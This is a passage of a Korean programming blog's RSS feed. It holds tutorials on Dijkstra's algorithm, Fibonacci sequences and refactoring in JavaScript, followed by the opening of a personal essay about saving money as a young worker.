      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;363&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFQaV1/btsOo7B9314/eCF7u5ZMTF7LsQD0V04KL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFQaV1/btsOo7B9314/eCF7u5ZMTF7LsQD0V04KL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFQaV1/btsOo7B9314/eCF7u5ZMTF7LsQD0V04KL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFQaV1%2FbtsOo7B9314%2FeCF7u5ZMTF7LsQD0V04KL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1006&quot; height=&quot;363&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;363&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;최적 경로 탐색이란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;최적 경로 탐색&quot;은 출발 지점에서 도착 지점까지 가는 여러 경로 중에서 &quot;가장 비용이 적은 경로&quot;를 찾는 과정을 의미합니다. 이때의 비용은 거리, 시간, 금액 등 다양한 기준이 될 수 있습니다. 실생활에서는 다음과 같은 곳에서 활용됩니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;지도 앱&lt;/b&gt;: 최단 거리나 최소 소요 시간 경로 탐색&lt;/li&gt;
&lt;li&gt;&lt;b&gt;네트워크 라우팅&lt;/b&gt;: 패킷이 지나가는 효율적인 경로 계산&lt;/li&gt;
&lt;li&gt;&lt;b&gt;게임 개발&lt;/b&gt;: AI 캐릭터가 장애물을 피해 목표 지점까지 이동하는 경로&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 문제들은 그래프 이론의 한 부분이며, 여러 알고리즘 중 &quot;다익스트라 알고리즘(Dijkstra's Algorithm)&quot;이 가장 널리 쓰입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;다익스트라 알고리즘 개념 이해&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;다익스트라 알고리즘&quot;은 가중치가 있는 그래프에서 한 정점으로부터 다른 모든 정점까지의 최소 비용 경로를 계산하는 방법입니다. 이 알고리즘은 다음과 같은 개념에 기반합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;그래프&lt;/b&gt;: 노드(Vertex)와 간선(Edge)으로 구성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;가중치&lt;/b&gt;: 간선을 지날 때의 비용 (예: 거리, 시간 등)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;최단 거리 배열&lt;/b&gt;: 시작 노드에서 각 노드까지의 최소 비용을 저장&lt;/li&gt;
&lt;li&gt;&lt;b&gt;방문 여부&lt;/b&gt;: 어떤 노드가 이미 처리되었는지 여부를 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JavaScript로 구현하기 (배열 기반, 우선순위 큐 없음)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다익스트라 알고리즘은 원래 우선순위 큐를 활용하면 더 빠르지만, 이 글에서는 초보자도 이해하기 쉬운 배열 기반 방식으로 설명합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예제 그래프 구조 (인접 리스트 기반)&lt;/h3&gt;
&lt;pre class=&quot;crmsh&quot;&gt;&lt;code&gt;const graph = {
  A: [{ node: 'B', cost: 2 }, { node: 'C', cost: 5 }],
  B: [{ node: 'A', cost: 2 }, { node: 'C', cost: 3 }, { node: 'D', cost: 1 }],
  C: [{ node: 'A', cost: 5 }, { node: 'B', cost: 3 }, { node: 'D', cost: 2 }],
  D: [{ node: 'B', cost: 1 }, { node: 'C', cost: 2 }]
};&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;다익스트라 알고리즘 구현&lt;/h3&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;function dijkstra(graph, start) {
  const distances = {};
  const visited = {};
  const nodes = Object.keys(graph);

  // 초기화: 모든 노드의 거리를 무한대로, 시작 노드는 0으로
  for (const node of nodes) {
    distances[node] = Infinity;
  }
  distances[start] = 0;

  while (nodes.length &amp;gt; 0) {
    // 아직 방문하지 않은 노드 중 가장 거리가 짧은 노드 선택
    let minNode = null;
    for (const node of nodes) {
      if (!minNode || distances[node] &amp;lt; distances[minNode]) {
        minNode = node;
      }
    }

    const currentDistance = distances[minNode];
    const neighbors = graph[minNode];

    // 인접 노드들의 거리 계산
    for (const neighbor of neighbors) {
      const { node: nextNode, cost } = neighbor;
      const newDistance = currentDistance + cost;
      if (newDistance &amp;lt; distances[nextNode]) {
        distances[nextNode] = newDistance; // 더 짧은 거리로 갱신
      }
    }

    // 현재 노드를 방문 처리하고 리스트에서 제거
    visited[minNode] = true;
    nodes.splice(nodes.indexOf(minNode), 1);
  }

  return distances;
}

const result = dijkstra(graph, 'A');
console.log(result); // 각 노드까지의 최소 비용 출력&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 복잡도 및 주의 사항&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;시간 복잡도&lt;/b&gt;: O(V^2) (V는 노드 개수)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 구현은 우선순위 큐를 사용하지 않아 효율이 떨어집니다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;heap&lt;/code&gt;을 이용하면 O((V + E) log V)까지 향상 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주의점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;음의 가중치가 있는 그래프에는 사용할 수 없습니다.&lt;/li&gt;
&lt;li&gt;출발점이 여러 개인 경우에는 별도로 계산하거나 알고리즘을 확장해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 추천 자료&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다익스트라 알고리즘은 가장 기본적이면서도 강력한 경로 탐색 알고리즘입니다. 위와 같은 기본 구현을 학습한 후에는, 우선순위 큐를 이용한 개선 방법, A* 알고리즘과의 비교 등도 함께 공부해보는 것이 좋습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가 학습에 유용한 자료를 소개합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://visualgo.net/en/sssp&quot;&gt;Visualgo - 다익스트라 시각화&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freecodecamp.org/learn/&quot;&gt;freeCodeCamp - Graph Algorithms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://replit.com/languages/javascript&quot;&gt;replit - JavaScript 실습 환경&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/479</guid>
      <comments>https://eyecandyzero.tistory.com/479#entry479comment</comments>
      <pubDate>Tue, 3 Jun 2025 02:11:29 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 구현하는 피보나치 수열 (Fibonacci Sequence)</title>
      <link>https://eyecandyzero.tistory.com/478</link>
      <description>&lt;h2&gt;피보나치 수열이란?&lt;/h2&gt;
&lt;p&gt;&amp;quot;피보나치 수열&amp;quot;은 수학과 컴퓨터 과학에서 매우 널리 알려진 수열 중 하나입니다. 이 수열은 첫 번째 항이 0, 두 번째 항이 1로 시작하며, 이후의 항은 바로 앞의 두 항을 더한 값으로 정의됩니다. 즉, 세 번째 항부터는 F(n) = F(n - 1) + F(n - 2)의 관계를 가집니다.&lt;/p&gt;
&lt;p&gt;예를 들어 앞의 몇 항을 나열하면 다음과 같습니다:&lt;/p&gt;
&lt;p&gt;0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610...&lt;/p&gt;
&lt;p&gt;이러한 규칙은 단순하면서도 수학적으로 아름다운 구조를 가지며, 황금비와도 연관되어 있는 특성이 있습니다. 또한, 프로그래밍 언어나 알고리즘 교육에서 &amp;quot;재귀 호출&amp;quot;, &amp;quot;반복문&amp;quot;, &amp;quot;동적 계획법&amp;quot; 등의 개념을 소개할 때 자주 사용되는 대표 예제이기도 합니다.&lt;/p&gt;
&lt;p&gt;피보나치 수열은 문제 해결 방식에 따라 시간과 공간 복잡도가 크게 달라지기 때문에, 다양한 구현을 비교하면서 학습하면 큰 도움이 됩니다.&lt;br&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n2LIK/btsOl8XCCOS/P36GIj5igkL5TbJOjx7ZBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n2LIK/btsOl8XCCOS/P36GIj5igkL5TbJOjx7ZBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n2LIK/btsOl8XCCOS/P36GIj5igkL5TbJOjx7ZBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn2LIK%2FbtsOl8XCCOS%2FP36GIj5igkL5TbJOjx7ZBK%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자바스크립트로 구현하는 피보나치 수열&lt;/h2&gt;
&lt;h3&gt;1. &amp;quot;재귀 호출&amp;quot; 방식&lt;/h3&gt;
&lt;p&gt;재귀(recursion)는 함수가 자기 자신을 호출하는 방식으로 문제를 해결하는 기법입니다. 피보나치 수열은 수식 자체가 재귀적 정의이기 때문에 구현도 매우 직관적입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// 피보나치 수를 재귀적으로 계산하는 함수
function fibonacciRecursive(n) {
  if (n &amp;lt;= 1) return n; // 종료 조건: 0 또는 1이면 자기 자신 반환
  return fibonacciRecursive(n - 1) + fibonacciRecursive(n - 2); // 재귀 호출
}

console.log(fibonacciRecursive(6)); // 결과: 8&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이 방식은 이해하기 쉽고 코드도 간단하지만, 동일한 계산을 반복적으로 수행하게 되어 비효율적입니다. 특히 n이 클수록 처리 시간이 기하급수적으로 증가합니다.&lt;/p&gt;
&lt;p&gt;&amp;quot;시간 복잡도&amp;quot;: O(2^n)&lt;br&gt;&amp;quot;공간 복잡도&amp;quot;: O(n) (호출 스택 기준)&lt;/p&gt;
&lt;p&gt;재귀 방식은 주로 &amp;quot;재귀 호출 구조&amp;quot;를 이해하거나, 아주 작은 n 값에 대해 간단한 구현을 할 때 사용됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;2. &amp;quot;반복문&amp;quot; 방식&lt;/h3&gt;
&lt;p&gt;재귀의 성능 문제를 해결하기 위한 가장 간단한 방법은 반복문을 이용한 구현입니다. 메모리를 최소화하면서 빠른 속도로 결과를 도출할 수 있는 장점이 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// 반복문을 이용한 피보나치 수열 계산
function fibonacciLoop(n) {
  if (n &amp;lt;= 1) return n; // 기본 조건
  let prev = 0, curr = 1;
  for (let i = 2; i &amp;lt;= n; i++) {
    const next = prev + curr; // 다음 피보나치 수 계산
    prev = curr;              // 이전 값 업데이트
    curr = next;              // 현재 값 업데이트
  }
  return curr;
}

console.log(fibonacciLoop(6)); // 결과: 8&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이 방식은 처리 속도가 빠르며, 반복적인 계산을 방지합니다. 또한 &amp;quot;공간 복잡도&amp;quot;가 O(1)로 매우 효율적입니다.&lt;/p&gt;
&lt;p&gt;&amp;quot;시간 복잡도&amp;quot;: O(n)&lt;br&gt;&amp;quot;공간 복잡도&amp;quot;: O(1)&lt;/p&gt;
&lt;p&gt;반복문 방식은 n 값이 커질 때에도 안정적으로 작동하며, 실제 프로덕션 코드에서도 자주 사용되는 방법입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;3. &amp;quot;동적 계획법&amp;quot; (Memoization)&lt;/h3&gt;
&lt;p&gt;재귀 방식의 단순한 구조와 반복문의 효율성을 결합한 방식이 바로 동적 계획법입니다. 이미 계산한 결과를 저장해두고, 이후 필요 시 다시 계산하지 않고 활용함으로써 성능을 높이는 기법입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// 메모이제이션을 이용한 피보나치 수열 계산
function fibonacciMemo(n, memo = {}) {
  if (n &amp;lt;= 1) return n; // 기본 조건
  if (memo[n]) return memo[n]; // 이미 계산된 값이 있다면 반환

  // 계산 후 저장
  memo[n] = fibonacciMemo(n - 1, memo) + fibonacciMemo(n - 2, memo);
  return memo[n];
}

console.log(fibonacciMemo(6)); // 결과: 8&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;메모이제이션(memoization)을 통해 이전 계산 결과를 저장해두기 때문에 불필요한 중복 계산을 방지할 수 있습니다. 이는 특히 n이 매우 클 때 큰 성능 차이를 만듭니다.&lt;/p&gt;
&lt;p&gt;&amp;quot;시간 복잡도&amp;quot;: O(n)&lt;br&gt;&amp;quot;공간 복잡도&amp;quot;: O(n)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;방식별 비교 요약&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방식&lt;/th&gt;
&lt;th&gt;시간 복잡도&lt;/th&gt;
&lt;th&gt;공간 복잡도&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;재귀 호출&lt;/td&gt;
&lt;td&gt;O(2^n)&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;td&gt;구현은 간단하지만 매우 비효율적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;반복문&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;td&gt;O(1)&lt;/td&gt;
&lt;td&gt;빠르고 메모리 효율이 좋으며 실무에서도 자주 사용됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;동적 계획법&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;td&gt;재귀 + 캐싱으로 성능과 코드 구조 모두 고려 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;각 방식은 상황에 따라 적절히 선택하는 것이 중요합니다. 예를 들어 성능이 중요한 실무 환경에서는 반복문 방식이 적합하고, 코드의 명확성이 우선되는 교육적 목적에서는 재귀 호출이나 동적 계획법이 유용할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;출력 예시&lt;/h2&gt;
&lt;p&gt;다음 코드는 0부터 10까지의 피보나치 수열을 반복문 방식으로 출력합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;for (let i = 0; i &amp;lt;= 10; i++) {
  console.log(fibonacciLoop(i));
}

// 출력 결과:
// 0
// 1
// 1
// 2
// 3
// 5
// 8
// 13
// 21
// 34
// 55&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이러한 반복문 출력은 프로그램 실행 흐름을 눈으로 확인하기에 매우 적합하며, 사용자와의 인터랙션이 필요한 웹페이지에서도 활용됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 및 추천 자료&lt;/h2&gt;
&lt;p&gt;&amp;quot;피보나치 수열&amp;quot;은 단순한 구조지만 다양한 프로그래밍 기법을 통해 효율성과 성능을 극대화할 수 있는 대표적인 예제입니다. 특히 자바스크립트에서는 동기/비동기 환경에서의 알고리즘 학습이나 인터랙티브 UI 구현에도 활용 가능성이 높습니다.&lt;/p&gt;
&lt;p&gt;한 문제를 재귀, 반복문, 동적 계획법 등 다양한 방법으로 접근하며 사고의 유연성을 기를 수 있고, 이는 코딩 테스트나 기술 면접에서도 유용하게 쓰일 수 있습니다.&lt;/p&gt;
&lt;p&gt;피보나치 수열은 또한 컴퓨터 공학 전반에서 중요한 수학적 기초 개념이기도 하며, 정렬, 탐색, 분할 정복 알고리즘 등 다양한 분야와도 연계될 수 있습니다.&lt;/p&gt;
&lt;p&gt;추가로 학습을 원하시는 분들을 위해 다음의 자료를 추천합니다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Functions&quot;&gt;MDN - 함수 기본 개념&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://visualgo.net/&quot;&gt;Visualgo - Algorithm 시각화 도구&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://replit.com/languages/javascript&quot;&gt;replit - JavaScript 실습 환경&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freecodecamp.org&quot;&gt;freeCodeCamp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/478</guid>
      <comments>https://eyecandyzero.tistory.com/478#entry478comment</comments>
      <pubDate>Tue, 3 Jun 2025 00:44:25 +0900</pubDate>
    </item>
    <item>
      <title>리팩토링의 원칙과 사례 (Refactoring)</title>
      <link>https://eyecandyzero.tistory.com/477</link>
      <description>&lt;h2&gt;리팩토링이란 무엇인가?&lt;/h2&gt;
&lt;p&gt;리팩토링(Refactoring)은 기존 코드의 외부 동작은 그대로 유지하면서 내부 구조를 개선하는 작업을 의미합니다. 즉, 기능은 동일하게 유지하면서 코드의 가독성, 유지보수성, 확장성을 높이는 것이 목적입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 리팩토링을 해야 할까?&lt;/h2&gt;
&lt;p&gt;리팩토링은 단순히 코드 정리 이상의 가치를 제공합니다. 다음과 같은 이유에서 반드시 고려되어야 합니다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;quot;코드의 중복 제거&amp;quot;와 같은 품질 향상을 통해 유지보수가 쉬워집니다.&lt;/li&gt;
&lt;li&gt;&amp;quot;의미 있는 함수명&amp;quot;이나 구조 개선을 통해 협업이 수월해집니다.&lt;/li&gt;
&lt;li&gt;미래에 기능을 추가하거나 오류를 수정할 때 발생할 수 있는 문제를 줄입니다.&lt;/li&gt;
&lt;li&gt;테스트 자동화와 코드 리뷰가 용이해집니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;언제 리팩토링을 해야 하나?&lt;/h2&gt;
&lt;p&gt;리팩토링의 타이밍은 다음과 같은 상황에서 특히 유효합니다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;기능을 새로 추가하거나 수정하려고 할 때 기존 코드가 복잡하거나 이해하기 어려울 경우&lt;/li&gt;
&lt;li&gt;&amp;quot;조건문 정리&amp;quot;가 필요한 지나치게 분기된 로직이 있을 때&lt;/li&gt;
&lt;li&gt;코드 리뷰 중 개선 포인트가 명확하게 드러날 때&lt;/li&gt;
&lt;li&gt;테스트를 작성하려는데 코드가 너무 단단하게 묶여 있는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;작업 중이나 기능 추가 시 틈틈이 수행하는 것을 권장하며, 반드시 전체 리팩토링을 한 번에 끝내야 하는 것은 아닙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;리팩토링을 할 때 주의할 점&lt;/h2&gt;
&lt;p&gt;리팩토링은 잘못 수행될 경우 기존 기능에 영향을 줄 수 있습니다. 다음 사항들을 반드시 유의해야 합니다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;기능 동작은 그대로 유지해야 합니다 (외부 동작의 변경 금지)&lt;/li&gt;
&lt;li&gt;자동화된 테스트나 회귀 테스트를 통해 안정성을 확보해야 합니다&lt;/li&gt;
&lt;li&gt;리팩토링 전후에 충분한 커밋 관리 또는 백업이 필요합니다&lt;/li&gt;
&lt;li&gt;큰 규모의 리팩토링은 반드시 단계적으로 진행하고, 작은 단위로 쪼개서 적용해야 합니다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;리팩토링 전후 코드 비교 사례&lt;/h2&gt;
&lt;h3&gt;예제 1: &amp;quot;중복 제거&amp;quot;&lt;/h3&gt;
&lt;h4&gt;Before&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function greetUser(name) {
  console.log(&amp;quot;Hello, &amp;quot; + name);
  console.log(&amp;quot;Welcome, &amp;quot; + name);
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;After&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function greetUser(name) {
  [&amp;quot;Hello&amp;quot;, &amp;quot;Welcome&amp;quot;].forEach(msg =&amp;gt; console.log(msg + &amp;quot;, &amp;quot; + name));
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;개선 내용&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;동일한 패턴의 &amp;quot;중복 문자열 조합&amp;quot;을 반복문으로 축약&lt;/li&gt;
&lt;li&gt;&amp;quot;중복 제거&amp;quot; 원칙에 따라 코드량을 줄이고 유지보수를 간결하게 개선함&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;예제 2: &amp;quot;의미 없는 함수명 개선&amp;quot;&lt;/h3&gt;
&lt;h4&gt;Before&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function doSomething(a, b) {
  return a - b;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;After&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function calculateDiscount(price, discount) {
  return price - discount;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;개선 내용&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;함수명과 매개변수명을 바꾸어 &amp;quot;의미 있는 함수명&amp;quot;을 부여함&lt;/li&gt;
&lt;li&gt;읽는 사람에게 함수의 용도가 명확하게 전달되도록 개선&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;예제 3: &amp;quot;조건문 정리&amp;quot;&lt;/h3&gt;
&lt;h4&gt;Before&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function getStatus(code) {
  if (code === 200) return &amp;quot;OK&amp;quot;;
  else if (code === 404) return &amp;quot;Not Found&amp;quot;;
  else if (code === 500) return &amp;quot;Server Error&amp;quot;;
  else return &amp;quot;Unknown&amp;quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;After&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function getStatus(code) {
  const map = {
    200: &amp;quot;OK&amp;quot;,
    404: &amp;quot;Not Found&amp;quot;,
    500: &amp;quot;Server Error&amp;quot;
  };
  return map[code] || &amp;quot;Unknown&amp;quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;개선 내용&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;조건문 대신 &amp;quot;객체 리터럴 맵&amp;quot;을 사용해 가독성 향상&lt;/li&gt;
&lt;li&gt;새로운 상태 코드 추가 시 한 줄로 확장 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;예제 4: &amp;quot;함수 추출&amp;quot;&lt;/h3&gt;
&lt;h4&gt;Before&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function handleClick(event) {
  const target = event.target;
  if (target.classList.contains(&amp;quot;btn-primary&amp;quot;)) {
    target.classList.add(&amp;quot;active&amp;quot;);
    console.log(&amp;quot;Primary button clicked&amp;quot;);
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;After&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function handleClick(event) {
  const target = event.target;
  if (isPrimaryButton(target)) {
    activateButton(target);
  }
}

function isPrimaryButton(element) {
  return element.classList.contains(&amp;quot;btn-primary&amp;quot;);
}

function activateButton(element) {
  element.classList.add(&amp;quot;active&amp;quot;);
  console.log(&amp;quot;Primary button clicked&amp;quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;개선 내용&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;함수 내부 로직을 &amp;quot;함수 추출&amp;quot; 기법으로 분리해 테스트 가능성과 재사용성 향상&lt;/li&gt;
&lt;li&gt;&amp;quot;단일 책임 원칙&amp;quot;을 반영하여 역할별 분리&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 및 추천 자료&lt;/h2&gt;
&lt;p&gt;리팩토링은 코드 품질을 높이는 가장 실용적인 방법 중 하나입니다. 처음부터 완벽한 코드를 짜는 것은 어렵지만, 반복적으로 개선해 나가는 과정이 중요한 이유입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://refactoring.guru/&quot;&gt;Refactoring Guru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;freeCodeCamp Clean Code Guide&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://replit.com/languages/javascript&quot;&gt;replit JavaScript 실습 환경&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/477</guid>
      <comments>https://eyecandyzero.tistory.com/477#entry477comment</comments>
      <pubDate>Mon, 2 Jun 2025 09:54:05 +0900</pubDate>
    </item>
    <item>
      <title>사회 초년생의 1억 모으기</title>
      <link>https://eyecandyzero.tistory.com/476</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;사회에 첫발을 내디뎠을 때, 통장에 찍힌 첫 월급을 보며 이런 생각을 했다. &amp;lsquo;이걸로 어떻게 1억을 모으지?&amp;rsquo; 막연했다. 집도 없고, 차도 없고, 아직은 하고 싶은 것도 많은 나이에 &amp;lsquo;1억&amp;rsquo;이라는 숫자는 현실 너머에 있는 것처럼 느껴졌다. 하지만 막막함 속에서도 한 가지는 분명했다. 지금부터라도 제대로 시작해야 언젠가는 그 숫자에 도달할 수 있다는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 한 일은 지출을 들여다보는 일이었다. 막상 정리해보니 매달 나도 모르게 새어나가는 돈이 적지 않았다. 커피 한 잔, 편의점 간식, 택시비, 배달비&amp;hellip; 조그마한 사치들이 쌓이면 한 달에 20~30만 원은 금방이었다. 그래서 마음을 먹었다. 조금 불편하더라도 지하철을 타고, 집에서 밥을 해 먹고, 한두 번의 약속을 미뤄보기로. 처음엔 답답했지만, 시간이 지나니 내 생활도, 생각도 조금씩 달라졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;돈을 모은다는 건 단순히 저축만의 문제가 아니었다. 습관을 바꾸고, 생각을 바꾸는 일이었다. 월급을 받자마자 일정 금액을 자동이체로 CMA에 보내고, 적금 통장도 만들었다. 중요한 건 남은 돈으로 살겠다는 각오였다. 매달 조금이라도 내 통장에 돈이 쌓여가는 걸 보며, &amp;lsquo;나는 잘하고 있어&amp;rsquo;라는 작은 확신도 함께 쌓여갔다.&lt;/p&gt;
